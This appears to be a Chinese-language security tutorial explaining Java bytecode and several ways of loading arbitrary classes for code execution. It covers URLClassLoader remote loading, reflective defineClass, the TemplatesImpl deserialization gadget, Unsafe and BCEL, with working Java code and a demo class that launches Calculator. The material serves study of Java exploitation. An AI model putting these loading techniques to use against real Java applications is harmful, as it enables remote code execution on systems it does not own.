1. 简介

1.1. 什么是Java字节码

它是程序的一种低级表示,可以运行于Java虚拟机上。将程序抽象成字节码可以保证Java程序在各种设备上的运行

Java号称是一门“一次编译到处运行”的语言,从我们写的java文件到通过编译器编译成java字节码文件(.class文件),这个过程是java编译过程;而我们的java虚拟机执行的就是字节码文件。不论该字节码文件来自何方,由哪种编译器编译,甚至是手写字节码文件,只要符合java虚拟机的规范,那么它就能够执行该字节码文件。

1.2. JAVA程序的运行

因为Java具有跨平台特性,为了实现这个特性,Java执行在一台虚拟机上,这台虚拟机就是JVM,Java通过JVM屏蔽了不同平台之间的差异,从而做到一次编译到处执行。

JVM位于Java编译器和OS平台之间,Java编译器只需面向JVM,生成JVM能理解的代码,这个代码即字节码,JVM再将字节码翻译成真实机器所能理解的二进制机器码。

1.3. 字节码如何产生

我们编写的代码文件通常是以.java作为结尾的,可以直接通过javac命令将java文件编译为.class文件,这个.class文件就是字节码文件,也可以直接运行IDE,让其自动为我们编译

image-20211027130138624

1.4. 如何看懂字节码

可以参考文章:深入理解JVM-读懂java字节码

2. 加载字节码

通常我们是编写好java代码然后ide帮我们自动编译成class字节码文件再加载到jvm中运行的,那如果我们想自己加载class文件,有哪些办法呢?

  • 后续利用到的演示恶意代码如下
import java.io.IOException;

public class Exp {
    public Exp() throws IOException {
        Runtime.getRuntime().exec(new String[]{"open", "-na", "Calculator"});
    }
}
  • 编译为字节码
javac Exp.java

2.1. 利用URLClassLoader加载远程class文件

利用ClassLoader来加载字节码文件是最基础的方法,URLClassLoader继承自ClassLoader且重写了findClass函数,允许远程加载字节码,在写漏洞利用的payload或者webshell的时候我们可以使用这个特性来加载远程的jar来实现远程的类方法调用(当然,该方式只适应于目标出网的情况)。

正常情况下,Java会根据配置项 sun.boot.class.pathjava.class.path中列举到的基础路径(这些路径是经过处理后的java.net.URL类)来寻找.class文件来加载,而这个基础路径有分为三种情况:

  1. URL未以斜杠/结尾,则认为是一个JAR文件,使用 JarLoader 来寻找类,即为在Jar包中寻找.class文件(jar文件中直接包含class文件,可以使用命令 jar cvf Exp.jar Exp.class 进行打包)。

    import java.net.MalformedURLException;
    import java.net.URL;
    import java.net.URLClassLoader;
    
    public class loadClassFile {
        public static void main(String[] args) throws MalformedURLException, ClassNotFoundException, IllegalAccessException, InstantiationException {
            URLClassLoader urlClassLoader = new URLClassLoader(new URL[]{new URL("http://127.0.0.1:8000/Exp.jar")});
            // 会加载 http://127.0.0.1:8000/Exp.jar中的Exp.class
            Class<?> exp = urlClassLoader.loadClass("Exp");
            // 触发构造函数,弹计算器
            exp.newInstance();
        }
    }
    
  2. URL以斜杠/结尾,且协议名是 file ,则使用 FileLoader 来寻找类,即为在本地文件系统中寻找.class文件。

    import java.net.MalformedURLException;
    import java.net.URL;
    import java.net.URLClassLoader;
    
    public class loadClassFile {
        public static void main(String[] args) throws MalformedURLException, ClassNotFoundException, IllegalAccessException, InstantiationException {
            URLClassLoader urlClassLoader = new URLClassLoader(new URL[]{new URL("file:/Users/d4m1ts/d4m1ts/java/classloader/")});
            // 会加载 /Users/d4m1ts/d4m1ts/java/classloader/Exp.class
            Class<?> exp = urlClassLoader.loadClass("Exp");
            // 触发构造函数,弹计算器
            exp.newInstance();
        }
    }
    
  3. URL以斜杠/结尾,且协议名不是 file ,则使用最基础的 Loader 来寻找类.class文件。

    import java.net.MalformedURLException;
    import java.net.URL;
    import java.net.URLClassLoader;
    
    public class loadClassFile {
        public static void main(String[] args) throws MalformedURLException, ClassNotFoundException, IllegalAccessException, InstantiationException {
            URLClassLoader urlClassLoader = new URLClassLoader(new URL[]{new URL("http://127.0.0.1:8000/")});
            // 会加载 http://127.0.0.1:8000/Exp.class
            Class<?> exp = urlClassLoader.loadClass("Exp");
            // 触发构造函数,弹计算器
            exp.newInstance();
        }
    }
    

主要关注第三点,利用基础的Loader类来寻找类,而要利用这一点必须是非file协议的情况下

file协议外,JAVA默认提供了对ftp,gopher,http,https,jar,mailto,netdoc协议的支持

因此作为攻击者,只要我们能够控制目标Java URLClassLoader的基础路径为一个http服务器,则可以利用远程加载的方式执行任意代码了。

2.2. 利用ClassLoader#defineClass加载字节码

其实java不管是加载远程的class文件,还是本地的class或者jar文件,都是要经历下面三个方法调用的:

  1. loadClass: 从已加载的类缓存、父加载器等位置寻找类(双亲委派机制),在前面没有找到的情况下,执行 findClass
  2. findClass: 根据基础URL指定的方式来加载类的字节码,就像上一节中说到的,可能会在本地文件系统、jar包或远程http服务器上读取字节码,然后交给 defineClass
  3. defineClass: 处理前面传入的字节码,将其处理成真正的Java类。

着重关注第三个方法defindClass,由于ClassLoader#defineClass方法是protected所以我们无法直接从外部进行调用,所以我们这里需要借助反射来调用这个方法。

由于ClassLoader#defineClass方法是protected所以我们无法直接从外部进行调用,所以我们这里需要借助反射来调用这个方法

import java.io.IOException;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.nio.file.Files;
import java.nio.file.Paths;

public class loadClassFile {

    public static void main(String[] args) throws IOException, NoSuchMethodException, InvocationTargetException, IllegalAccessException, InstantiationException {
        byte[] classBytes = Files.readAllBytes(Paths.get("/Users/d4m1ts/d4m1ts/java/classloader/Exp.class"));
        // 通过反射调用 defineClass
        Class<ClassLoader> clazz = ClassLoader.class;
        Method defineClass = clazz.getDeclaredMethod("defineClass", String.class, byte[].class, int.class, int.class);
        defineClass.setAccessible(true);
        Class exp = (Class) defineClass.invoke(ClassLoader.getSystemClassLoader(), "Exp", classBytes, 0, classBytes.length);
        // 需要手动实例化触发构造函数
        exp.newInstance();
    }
}

image-20211027142250070

需要注意的是,ClassLoader#defineClass返回的类并不会初始化,只有这个对象显式地调用其构造函数初始化代码才能被执行,所以我们需要想办法调用返回的类的构造函数才能执行命令。

在实际场景中,因为defineClass方法作用域是不开放的,所以攻击者很少能直接利用到它,但它却是我们常用的一个攻击链 TemplatesImpl 的基石。

2.3. 利用TemplatesImpl加载字节码

在多个Java反序列化利用链,以及fastjson、jackson的漏洞中,都曾出现过 TemplatesImpl 的身影。虽然大部分上层开发者不会直接使用到defineClass方法,同时java.lang.ClassLoaderdefineClass方法作用域是不开放的(protected),很难利用,但是Java底层还是有一些类用到了它,譬如TemplatesImpl

com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl类中定义了一个内部类:TransletClassLoader

image-20211027142849878

可以看到这个类继承了ClassLoader,而且重写了defineClass方法,并且没有显式地定义方法的作用域。

Java中默认情况下,如果一个方法没有显式声明作用域,其作用域为default。也就是说这里的defineClass由其父类的protected类型变成了一个default类型的方法,可以被同一个包下的类调用

由于TransletClassLoaderdefault的可以被同一个包下的类调用,所以由下向上寻找这个defineClass()TemplatesImpl中的调用链

一直Find Usages,最终找到调用链如下:

TemplatesImpl#getOutputProperties()
    TemplatesImpl#newTransformer()
        TemplatesImpl#getTransletInstance()
            TemplatesImpl#defineTransletClasses()
                TransletClassLoader#defineClass(final byte[] b)

最外层的2个方法均是public修饰的,可以被外部调用,以TemplatesImpl#getOutputProperties()为例。

  • 初次观察整个链,需要设置的参数如下_bytecodes(字节码,不能为null)_name(不能为null)_class(需要为null,而默认情况下也为null,所以可以不需要)

  • 但是这样会抛出异常NullPointerException,经过分析,发现还需要设置_tfactory参数,它的类型为TransformerFactoryImpl

所以一共需要设置3个参数,分别是_bytecodes_name_tfactory

通过下方实例化的代码,可以看出远程加载的类还必须继承AbstractTranslet

image-20211027155836709

  • 所以我们的恶意类代码修改如下:
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

import java.io.IOException;

public class Exp2 extends AbstractTranslet {
    public Exp2() throws IOException {
        Runtime.getRuntime().exec(new String[]{"open", "-na", "Calculator"});
    }

    @Override
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

    }

    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

    }
}
  • 加载字节码代码
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;

import javax.xml.transform.TransformerConfigurationException;
import java.io.IOException;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;

public class loadClassFile {

    public static void main(String[] args) throws IOException, IllegalAccessException, NoSuchFieldException, TransformerConfigurationException {
        byte[] classBytes = Files.readAllBytes(Paths.get("/Users/d4m1ts/d4m1ts/java/classloader/Exp2.class"));
        TemplatesImpl templates = new TemplatesImpl();
        Class clazz = templates.getClass();
        Field bytecodes = clazz.getDeclaredField("_bytecodes");
        Field name = clazz.getDeclaredField("_name");
        Field _tfactory = clazz.getDeclaredField("_tfactory");

        bytecodes.setAccessible(true);
        name.setAccessible(true);
        _tfactory.setAccessible(true);

        bytecodes.set(templates, new byte[][]{classBytes});
        name.set(templates, "d4m1ts");
        _tfactory.set(templates, new TransformerFactoryImpl());

        templates.newTransformer();

    }
}

image-20211027160032003

2.4. 利用Unsafe#defineClass加载字节码

Unsafe是位于sun.misc包下的一个类,主要提供一些用于执行低级别、不安全操作的方法,如直接访问系统内存资源、自主管理内存资源等,这些方法在提升Java运行效率、增强Java语言底层资源操作能力方面起到了很大的作用。使用该类可以获取到底层的控制权,该类在sun.misc包,默认是BootstrapClassLoader加载的。

而它里面也存在一个defineClass方法,且为public可直接调用

image-20211027163022076

但因为Unsafe的构造方法是private类型的,所以无法通过new方式实例化获取,只能通过它的getUnsafe()方法获取。 又因为Unsafe是直接操作内存的,为了安全起见,Java的开发人员为Unsafe的获取设置了限制,所以想要获取它只能通过Java的反射机制来获取。

因为安全问题,不能直接调用

image-20211027163816243

但前面也说了,我们可以通过反射的方式来调用

通过分析发现,theUnsafeUnsafe的对象,我们反射拿到这个对象,就可以执行任意方法了

加载字节码代码

import sun.misc.Unsafe;

import java.io.IOException;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.security.ProtectionDomain;

public class loadClassFile {

    public static void main(String[] args) throws IOException, IllegalAccessException, InstantiationException, NoSuchMethodException, InvocationTargetException, NoSuchFieldException {
        byte[] classBytes = Files.readAllBytes(Paths.get("/Users/d4m1ts/d4m1ts/java/classloader/Exp.class"));

        Class<Unsafe> unsafeClass = Unsafe.class;
        Field theUnsafe = unsafeClass.getDeclaredField("theUnsafe");
        theUnsafe.setAccessible(true);
        Unsafe unsafe = (Unsafe) theUnsafe.get(null);
        Class<?> exp = unsafe.defineClass("Exp", classBytes, 0, classBytes.length, ClassLoader.getSystemClassLoader(), null);
        exp.newInstance();

    }
}

image-20211027164550213

2.5. 利用BCEL ClassLoader加载字节码

BCEL(Byte Code Engineering Library)的全名应该是Apache Commons BCEL,属于Apache Commons项目下的一个子项目。它提供了一系列用于分析、创建、修改Java Class文件的API。但其因为被Apache Xalan所使用,而Apache Xalan又是Java内部对于JAXP的实现,所以BCEL也被包含在了JDK的原生库中,位于com.sun.org.apache.bcel

虽然说它包含在原生库吧,但是在jdk8u251后,com.sun.org.apache.bcel.internal.util.ClassLoader就被删除了,如果单独引入了它的依赖,则还有ClassLoader,参考 BCEL ClassLoader去哪了

依赖:

<!-- https://mvnrepository.com/artifact/org.apache.bcel/bcel -->
<dependency>
    <groupId>org.apache.bcel</groupId>
    <artifactId>bcel</artifactId>
    <version>5.2</version>
</dependency>

在bcel的包中有一个ClassLoader,他重写了Java内置的ClassLoader#loadClass()方法,在loadclass方法中会对类名进行判断,如果类名以$$BCEL$$开始,就会进入createClass方法,

image-20211027171201746

然后在createClass方法里面,会调用Utility.decode()来解密,最后生成clazz

image-20211027171850126

但如何生成能给它解密的字节码呢?

通过BCEL提供的两个类RepositoryUtility来实现:

  • Repository:用于将一个Class先转换成原生字节码,当然这里也可以直接使用javac命令来编译 java 文件生成字节码;
  • Utility:用于将原生的字节码转换成BCEL格式的字节码;

利用代码

JavaClass javaClass = Repository.lookupClass(Exp.class);
String encode = Utility.encode(javaClass.getBytes(), true);
System.out.println(encode);
new org.apache.bcel.util.ClassLoader().loadClass("$$BCEL$$" + encode).newInstance();

结果

image-20211028113432432

看着很简单很容易,但是有很多坑

坑点一:

jdk8u261,Utility.encode中,GZIPOutputStream流不会close,所以内容写不进ByteArrayOutputStream的(给俺整懵了,网上没找到一个说这个问题的,还是得自己调试才行,离谱)

image-20211028110637374

换了个低版本的jdk8u231,就关闭了流可以写入进行加密,俺也不懂为啥高版本删除了,难道是删除ClassLoader的时候一起删除了?。。。

image-20211028110900726

坑点二:

换了低版本的JDK,但是出现了新的问题,提示不支持的操作

image-20211028112355961

跟了一下,发现在ClassLoader#createClass()方法中有问题

其中在调用setBytes()是提示这个方法调用会失败

image-20211028112527428

跟进一下,发现会直接抛出异常。。。

image-20211028112603550

找了一大圈,没发现有人提到这个问题,后来不经意看到了setBytes的说明,在BCEL 6.0的时候遗弃了。。。

image-20211028112848727

所以需要用低于6.0版本的BCEL,换了个06年的5.2

<!-- https://mvnrepository.com/artifact/org.apache.bcel/bcel -->
<dependency>
    <groupId>org.apache.bcel</groupId>
    <artifactId>bcel</artifactId>
    <version>5.2</version>
</dependency>

方法没被遗弃,然后解决了这个问题

image-20211028113216521

3. 参考

Copyright © d4m1ts 2022 all right reserved,powered by Gitbook该文章修订时间: 2021-12-25 18:51:59

results matching ""

    No results matching ""